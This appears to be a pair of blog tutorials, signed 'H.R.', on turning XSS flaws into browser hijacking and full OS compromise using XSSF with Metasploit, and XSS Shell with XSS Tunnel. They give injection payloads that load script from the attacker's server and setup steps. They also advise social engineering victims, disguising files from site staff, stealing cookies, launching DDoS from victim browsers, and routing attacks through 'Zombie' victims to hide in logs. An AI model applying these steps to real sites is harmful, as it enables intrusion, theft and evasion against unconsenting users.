XSS to FULL OS Comprimise using XSSF+Metasploit

OK, so today I will show you how we can leverage a common XSS vulnerability and take it up a notch, yes that is right, a notch higher than we did previously with XSS Shell & XSS Tunnel. This time we will be using our common XSS to result in full OS compromise. Now I have seen a lot of tutorials involving Metasploit but most of them involve attacking XP with no Security updates which just doesn’t seem fair (or impressive). My kid brother could take care of that....so I decided to show you it is possible with little effort to compromise an up to date system running Windows 7 OS with Internet Explorer 8 for browser. This way you know I am being serious when I say this is a valid exploit and a noteworthy reason to double check your user input validation scheme(s). Please follow along, and I hope you enjoy the ride...

OK so you have found XSS vulnerability and you saved it and found it is persistent XSS injection that will affect all users who view the injected page. Even if it is not persistent you can use Social Engineering to get the same effect (i.e. high traffic to exploited page/link), be creative…I am sure you can convince someone to click a link somehow :p We will then use this to work with XSSF and Metasploit to take it up a notch. Where we previously used our injection to point our victims to an alert box, or as shown in previous write-up we could point to the XSS Shell we were hosting, but instead this time we will now be injecting the path to out XSSF + Metasploit setup. XSSF works in the same manner as XSS Shell BUT the primary difference is it is coded in ruby and you can incorporate it directly into the Metasploit framework which allows us to extend our exploits to all of the wonderful Browser Exploits that are already built into MSF (let’s be honest XSS Shell is nice but limited in scope). Now we can take a common XSS alert box and turn it into a Reverse Meterpreter Shell resulting in full OS compromise. I bet you didn't see that coming!

In order to get XSSF incorporated into MSF you need to follow a few quick steps:

• Download XSSF from here: http://code.google.com/p/xssf/downloads/list
• You also need to have an up to date working version of Metasploit already installed (I will not cover this and make assumption you can figure it out on your own). If you do not already have it installed you can download the latest release from here (free version is just fine): http://metasploit.com/download/
• The latest version will help us to avoid any DB issues or any issues with your ruby installs being outdated ;)

OK, now fire up Metasploit however you like, from the console or via Armitage. I will be using Armitage for the purposes of today's article since it helps keep things easy. Once you’re connected to your DB of choice and MSF is up and running we will want to do two things:

1.  First - unzip the XSSF download into the MSF folder on your machine.
2.  Secondly - run your choice method of opening MSF
3.  - Armitage or ./msfconsole
4.  Third - type this at MSF console: load xssf

You should now be greeted with the message banner for XSSF indicating that all went well. I had zero problems making it this far so if you have problems check your paths to make sure you unzipped everything properly and to the right locations. Once we have XSSF incorporated into Metasploit it is time to start tweaking our XSS Vulnerabilities and Injections to now point towards this setup. The default will run on localhost:8888 (use xssf_urls command to see full list generated at startup), and then you will need to inject some form of this XSS attack vector in order to get your victims to be sent to our XSSF Metasploit link:

                “><script src=”http://yoursite.com:8888/loop?interval=3"></script>

NOTE: You can change the value following interval= to suite your needs as it will affect the browser refresh rate. I suggest playing with it and find what works for you, probably best between 2 & 5 (5 is default and works fine in my opinion).

Once this is injected instead of sending an alert box to our victims who view the page they will go on as if nothing happened while secretly they become our Zombies. Once we have zombies we can feed them to an XSS Tunnel session which works as outlined in my previous tutorial on XSS Shell and XSS Tunnel but now you can use the XSS Tunnel address that XSSF has created instead of fumbling with setting up XSS Shell and connecting with XSS Tunnel, just point your tools at localhost:8889 and let them rip. That is fun and can be convenient for leveraging other modules like the CSRF one......BUT you can also now leverage Metasploit to perform further Browser attacks against our Zombies and spawn Meterpreter shells all over the place!

Please watch this video for the full details:

NO SOUND version:  http://www.youtube.com/watch?v=jwirABFe1Ok

I am pretty sure you can get all the commands from the video as I filmed everything as I walked through it so should cover everything you would need to get situated for the first time and on your way. If you have questions please let me know and I will do what I can to help you figure things out. As always, I hope you have enjoyed!

Until next time...

H.R.

XSS SHELL & XSS TUNNEL – TAKING COMMON XSS VULNERABILITIES TO THE NEXT LEVEL

Today I will show you two neat tools which can be used to leverage common XSS vulnerabilities and allow you to take them to the next level. There are a lot of admins and general techies who don't think XSS vulnerabilities are anything to be concerned about. What can a simple alert box do? Hopefully after today you will look at your code a little harder and have a little more respect for all those pesky XSS finds. This is based on my recent experience in setting these up and seeing the results in real time which lead me to feel the need to share this. Here goes...

Things you need:

XSS Shell & XSS Tunnel, both available here in single download:   http://labs.portcullis.co.uk/application/xssshell/

Path Disclosure Script, available here: http://www.megaupload.com/?d=MGMF89LG
           Download and cahnge name from path.txt to path.asp

Patience

Brain.dll file

Create an account at any of your favorite ASP hosting sites, usually a free one will do. Now create and upload a index file to have something for quick checks to see if anything is there (and to throw off suspicion) so your site seems legit. Now we will upload the Path Disclosure Script you downloaded above (path.asp) and then navigate in our browser to it in order to find out what our default install path is so we can setup our db.asp file for connections to our MS-ACCESS database file.

Write down what you see on the screen, remove file, and then go and edit the db.asp for XSS Shell for the following line of code, change path to what you found above:

'// DATABASE CONFIGURATION

Const DBPATH = "X:\path\to\site\install”

Once this is done we also edit the xssshell.asp file to change the default password from “w00t” to something more secure (if you have troubles finding it in code just use CNTRL+F to find “w00t”), save it and rename the file to something less noticeable by staff reviewers, like kittens.asp. Once that is done, create a zip file for all of the content in our XSS Shell folder and name it SSX.zip. Then use your control panel features to unzip the content to speed up XSS Shell site build-out (otherwise it takes forever to upload one by one). 

Remove the .zip file and the path finder script to clean things up, so it should look something like this once done:

NOTE: on my host in this test run the “DB” folder was changed to “Db” and the “admin” folder was changed to “Admin”, so you may need to alter your scripts after uploading, just play with it a bit until it works for you. Also note you might need to alter scripts to align as well since your URL path may be case sensitive to match what control panel reflects, like in my case.

Now that you have everything uploaded it is time to navigate to the admin panel, you should be able to find it easily at:

http://www.yoursite.com/xssfolderifany/Admin/

 

You will login with whatever password you set originally in the xssshell.asp file. Once you login you are greeted with the XSS Shell admin panel.

OK, so things work now to get some victims… If you want to test it out real quick you can upload the Sample_Victim folder that comes with XSS Shell download. Just edit the code in the middle of page (comments point it out) and change to point to your new XSS Shell setup. Once completed, open up another browser and navigate to the /Sample_Victim/Default.asp page to activate. Alternatively you can get straight to work by injecting a form of this script into XSS vulnerable site and then getting victims to visit:

"><script src="http://yoursite.com/xssshellifany/xssshell.asp"></script>

When you get victims they will appear in the XSS Shell Admin Panel, like so:

 

From here you can grab victim cookies, send alert boxes to all victims as once, use victim browsers for DDoS, etc. If you are good with JavaScript you can do whatever your skills are limited to as you can add in your own custom commands and payloads rather easily under the eval(js) module section. If you want to know more about XSS Shell then please refer to the developers site as I will now be jumping onward into how we can utilize the XSS Shell with XSS tunnel to create a Zombie bot for further attacking, exploiting, whatever….

XSS Shell homepage can be found here, and download includes both XSS Shell and XSS Tunnel:  http://labs.portcullis.co.uk/application/xssshell/

OK, now that we have XSS Shell successfully setup we can extend its usefulness even further through the help of another tool called XSS Tunnel. This is a binary program made strictly for Windows. You simply need to download and open and configure to use our XSS Shell to then route all traffic we want using our XSS Shell victims as proxies. This can allow us to bypass IP restrictions should we grab an admin victim, which can then lead to further privilege escalations from the site admin panel. It also means we can turn our victims into Zombies and configure our favorite injection scanners, browsers, etc to use the Zombie victim as a proxy, meaning all logs on any servers we attack while connected will reflect our Zombies information and not ours adding yet another layer of stealth to our future exploitations.

Here is quick run through of the XSS Tunnel configuration. Double click file to run and you’re greeted with this:

We will need to click on the “OPTIONS” tab to enter our details for connecting to XSS Shell. Simply enter in the URL path to your XSS Shell Admin panel, and then enter the password you created for XSS Shell Admin Panel (xssshell.asp file stores the password if you already forgot).

You can hit the “TEST SERVER” button once you entered the correct details to check and confirm it is properly communicating with our XSS Shell. Upon success you will see message like so:

Now once you get victims in your XSS Shell you can use them as proxies for your favorite tools and/or to bypass site restrictions for further exploitation on the site where the original XSS flaw may have been found. In order to does this choose the interface or adapter you want to listen on and then choose the desired port to listen on and use for proxy functions. If you have something running on 8080 already then just changes it to meet your need. Transparency setting is purely for the XSS Tunnel GUI and nothing related to proxy function. Once you have it how you want you can click on the “START XSS TUNNEL” button near the top section, once you then enable the proxy function with your tools you will begin to see the requests flow through the main tab (if you care to watch or review).

This method can take a common non-persistent or persistent XSS vulnerability and turn it into a full site takeover proving that XSS is not something to be simply overlooked. I hope you have enjoyed this write up and enjoy playing with your new Zombie army!

Until next time… 

H.R.